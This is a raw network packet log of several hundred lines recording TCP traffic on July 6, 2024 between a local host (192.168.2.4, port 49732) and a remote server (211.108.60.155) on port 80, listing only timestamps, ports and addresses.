Jul 6, 2024 14:10:18.901710033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901738882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901778936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901815891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901824951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901834965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901853085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901870012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902050018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902071953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902092934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902108908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902144909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902185917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902214050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902225018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902254105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902350903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902360916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902371883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902391911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902420044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902440071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902448893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902494907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902571917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902581930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902622938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902673006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902689934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902700901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902715921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902730942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902759075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902801991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902822018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.902857065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.902971029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903013945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903018951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903048992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903090954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903134108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903146029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903163910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903184891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903207064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903337002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903347015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903356075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903378963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903393984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903453112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903461933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903496981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903542042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903551102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903584957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903768063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903776884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903812885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.903944016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903968096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903975964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.903981924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904000044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904007912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904015064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904038906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904139996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904150009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904185057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904294968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904304028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904346943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904501915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904561043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904592037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904625893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904695988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904738903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.904814005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.904855013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092653990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092731953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092736006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092767000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092770100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092775106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092792988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092811108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092869043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092907906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092932940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092943907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.092968941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.092984915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093107939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093156099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093157053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093168974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093194962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093209982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093225956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093235970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093312979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093349934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093362093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093384027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093441010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093482018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093528032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093538046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093550920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093579054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093592882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093621016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093652010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093661070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093686104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093746901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093789101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.093811035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.093879938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094091892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094137907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094151020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094160080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094198942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094268084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094276905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094301939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094314098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094352961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094353914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094392061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094542027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094551086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094559908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094585896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094585896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094614029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094676018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094702005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094716072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094739914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094758034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094768047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094784975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094805002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094851017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094894886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.094918966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094961882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.094966888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095004082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095021963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095062971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095175982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095199108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095226049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095660925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095705032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095803022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095824957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095834970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095849037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095860958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095876932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095881939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095885992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095897913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095910072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095926046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.095946074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095974922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.095983982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096010923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096024990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096035004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096043110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096065998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096080065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096230984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096240044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096281052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096328020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096359968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096370935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096395969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096406937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096422911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096435070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096457958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096498013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096507072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096544027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096807003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096848965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096851110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096858978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096921921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096924067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096934080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.096965075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.096992970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097003937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097042084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097156048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097171068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097198009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097212076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097295046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097304106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097342014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097363949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097405910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097408056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097445011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097518921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097527981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097560883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097589970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097628117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097630024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097670078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097747087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097755909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097785950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097902060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097943068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.097950935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.097987890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.286608934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286631107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286642075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286652088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286700964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286710978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286776066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.286777020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.286777020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.286828995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286863089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.286863089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.286899090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287030935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287053108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287069082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287074089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287077904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287085056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287106991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287118912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287363052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287372112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287403107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287466049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287486076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.287502050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.287519932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288070917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288125992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288129091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288136959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288157940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288168907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288176060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288201094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288243055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288258076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288280964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288291931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288301945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288314104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288337946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288352013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288383961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288420916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288455963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288465977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288490057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288496971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288533926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288533926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288546085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288583994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288620949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288630009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288661957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288907051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288918018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288927078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.288958073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.288981915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289025068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289067030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289076090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289082050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289096117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289119959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289133072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289227962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289258957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289268970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289271116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289295912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289851904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289897919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289928913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289940119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.289968967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.289980888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290000916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290010929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290041924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290050983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290060043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290087938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290555000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290599108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290622950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290656090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290805101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290815115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290826082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290846109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290863991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.290932894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290944099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290952921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290962934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.290977955 CEST	49732	80	192.168.2.4	211.108.60.155
